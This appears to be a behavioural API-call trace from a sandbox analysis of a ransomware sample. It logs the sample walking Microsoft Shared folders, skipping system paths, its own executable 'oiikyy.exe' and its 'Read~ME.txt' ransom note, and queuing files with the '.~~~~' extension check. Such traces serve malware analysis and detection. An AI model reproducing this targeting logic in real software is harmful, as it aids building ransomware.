	[0077.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.016] GetCurrentThreadId () returned 0x618
	[0077.016] RtlWakeConditionVariable () returned 0x365f48
	[0077.016] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0
	[0077.016] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0077.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.017] GetCurrentThreadId () returned 0x618
	[0077.017] RtlWakeConditionVariable () returned 0x365f48
	[0077.017] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0077.017] lstrcmpiW (lpString1="TextConv", lpString2="Windows") returned -1
	[0077.017] lstrcmpW (lpString1="TextConv", lpString2=".") returned 1
	[0077.017] lstrcmpW (lpString1="TextConv", lpString2="..") returned 1
	[0077.017] lstrcmpW (lpString1="TextConv", lpString2="AppData") returned 1
	[0077.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv", lpSrch="AppData") returned 0x0
	[0077.018] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.018] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv", lpString2="C:\\Windows") returned -1
	[0077.018] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.018] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv", lpString2="C:\\System Volume Information") returned -1
	[0077.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0077.018] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0077.018] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.018] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.018] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.018] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.018] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.018] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.018] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.018] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.018] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.018] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.018] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.018] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.018] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0077.019] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0077.019] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0077.019] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0077.019] lstrcmpW (lpString1="en-US", lpString2="AppData") returned 1
	[0077.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US", lpSrch="AppData") returned 0x0
	[0077.019] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.019] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US", lpString2="C:\\Windows") returned -1
	[0077.019] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.019] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US", lpString2="C:\\System Volume Information") returned -1
	[0077.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d06e8
	[0077.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.020] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.020] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.020] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.020] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.020] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.020] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.020] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.020] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.020] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.020] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.020] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.020] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.020] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0077.020] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.021] GetCurrentThreadId () returned 0x618
	[0077.021] RtlWakeConditionVariable () returned 0x365f48
	[0077.021] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1
	[0077.021] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="Windows") returned -1
	[0077.021] lstrcmpW (lpString1="MSCONV97.DLL", lpString2="oiikyy.exe") returned -1
	[0077.021] StrStrW (lpFirst="MSCONV97.DLL", lpSrch=".~~~~") returned 0x0
	[0077.021] lstrcmpW (lpString1="MSCONV97.DLL", lpString2="Read~ME.txt") returned -1
	[0077.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.022] GetCurrentThreadId () returned 0x618
	[0077.022] RtlWakeConditionVariable () returned 0x365f48
	[0077.022] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1
	[0077.022] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="Windows") returned -1
	[0077.022] lstrcmpW (lpString1="RECOVR32.CNV", lpString2="oiikyy.exe") returned 1
	[0077.022] StrStrW (lpFirst="RECOVR32.CNV", lpSrch=".~~~~") returned 0x0
	[0077.022] lstrcmpW (lpString1="RECOVR32.CNV", lpString2="Read~ME.txt") returned 1
	[0077.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.022] GetCurrentThreadId () returned 0x618
	[0077.022] RtlWakeConditionVariable () returned 0x365f48
	[0077.022] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1
	[0077.022] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="Windows") returned 1
	[0077.022] lstrcmpW (lpString1="Wks9Pxy.cnv", lpString2="oiikyy.exe") returned 1
	[0077.022] StrStrW (lpFirst="Wks9Pxy.cnv", lpSrch=".~~~~") returned 0x0
	[0077.022] lstrcmpW (lpString1="Wks9Pxy.cnv", lpString2="Read~ME.txt") returned 1
	[0077.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.022] GetCurrentThreadId () returned 0x618
	[0077.022] RtlWakeConditionVariable () returned 0x365f48
	[0077.022] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1
	[0077.022] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="Windows") returned 1
	[0077.022] lstrcmpW (lpString1="WPFT532.CNV", lpString2="oiikyy.exe") returned 1
	[0077.022] StrStrW (lpFirst="WPFT532.CNV", lpSrch=".~~~~") returned 0x0
	[0077.022] lstrcmpW (lpString1="WPFT532.CNV", lpString2="Read~ME.txt") returned 1
	[0077.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.023] GetCurrentThreadId () returned 0x618
	[0077.023] RtlWakeConditionVariable () returned 0x365f48
	[0077.023] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1
	[0077.023] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="Windows") returned 1
	[0077.023] lstrcmpW (lpString1="WPFT632.CNV", lpString2="oiikyy.exe") returned 1
	[0077.023] StrStrW (lpFirst="WPFT632.CNV", lpSrch=".~~~~") returned 0x0
	[0077.023] lstrcmpW (lpString1="WPFT632.CNV", lpString2="Read~ME.txt") returned 1
	[0077.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.023] GetCurrentThreadId () returned 0x618
	[0077.023] RtlWakeConditionVariable () returned 0x365f48
	[0077.023] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0
	[0077.023] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0077.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.023] GetCurrentThreadId () returned 0x618
	[0077.023] RtlWakeConditionVariable () returned 0x365f48
	[0077.023] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1
	[0077.023] lstrcmpiW (lpString1="THEMES14", lpString2="Windows") returned -1
	[0077.023] lstrcmpW (lpString1="THEMES14", lpString2=".") returned 1
	[0077.023] lstrcmpW (lpString1="THEMES14", lpString2="..") returned 1
	[0077.023] lstrcmpW (lpString1="THEMES14", lpString2="AppData") returned 1
	[0077.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14", lpSrch="AppData") returned 0x0
	[0077.024] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.024] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14", lpString2="C:\\Windows") returned -1
	[0077.024] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.024] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14", lpString2="C:\\System Volume Information") returned -1
	[0077.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0077.024] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0077.074] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.074] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.074] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.074] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.074] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.074] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.207] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.207] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.207] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.207] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.207] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.207] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.208] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1
	[0077.208] lstrcmpiW (lpString1="AFTRNOON", lpString2="Windows") returned -1
	[0077.212] lstrcmpW (lpString1="AFTRNOON", lpString2=".") returned 1
	[0077.212] lstrcmpW (lpString1="AFTRNOON", lpString2="..") returned 1
	[0077.212] lstrcmpW (lpString1="AFTRNOON", lpString2="AppData") returned -1
	[0077.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON", lpSrch="AppData") returned 0x0
	[0077.229] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.229] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON", lpString2="C:\\Windows") returned -1
	[0077.229] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.229] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON", lpString2="C:\\System Volume Information") returned -1
	[0077.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.229] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.229] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.229] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.229] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.229] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.230] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.230] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.230] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.230] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.230] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.230] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.230] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.230] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1
	[0077.230] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="Windows") returned -1
	[0077.230] lstrcmpW (lpString1="AFTRNOON.ELM", lpString2="oiikyy.exe") returned -1
	[0077.230] StrStrW (lpFirst="AFTRNOON.ELM", lpSrch=".~~~~") returned 0x0
	[0077.230] lstrcmpW (lpString1="AFTRNOON.ELM", lpString2="Read~ME.txt") returned -1
	[0077.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.230] GetCurrentThreadId () returned 0x618
	[0077.230] RtlWakeConditionVariable () returned 0x365f48
	[0077.230] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1
	[0077.230] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="Windows") returned -1
	[0077.230] lstrcmpW (lpString1="AFTRNOON.INF", lpString2="oiikyy.exe") returned -1
	[0077.230] StrStrW (lpFirst="AFTRNOON.INF", lpSrch=".~~~~") returned 0x0
	[0077.231] lstrcmpW (lpString1="AFTRNOON.INF", lpString2="Read~ME.txt") returned -1
	[0077.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.231] GetCurrentThreadId () returned 0x618
	[0077.231] RtlWakeConditionVariable () returned 0x365f48
	[0077.231] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.231] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.231] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.231] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.231] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.231] GetCurrentThreadId () returned 0x618
	[0077.231] RtlWakeConditionVariable () returned 0x365f48
	[0077.231] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.231] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.231] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.231] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.231] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.231] GetCurrentThreadId () returned 0x618
	[0077.232] RtlWakeConditionVariable () returned 0x365f48
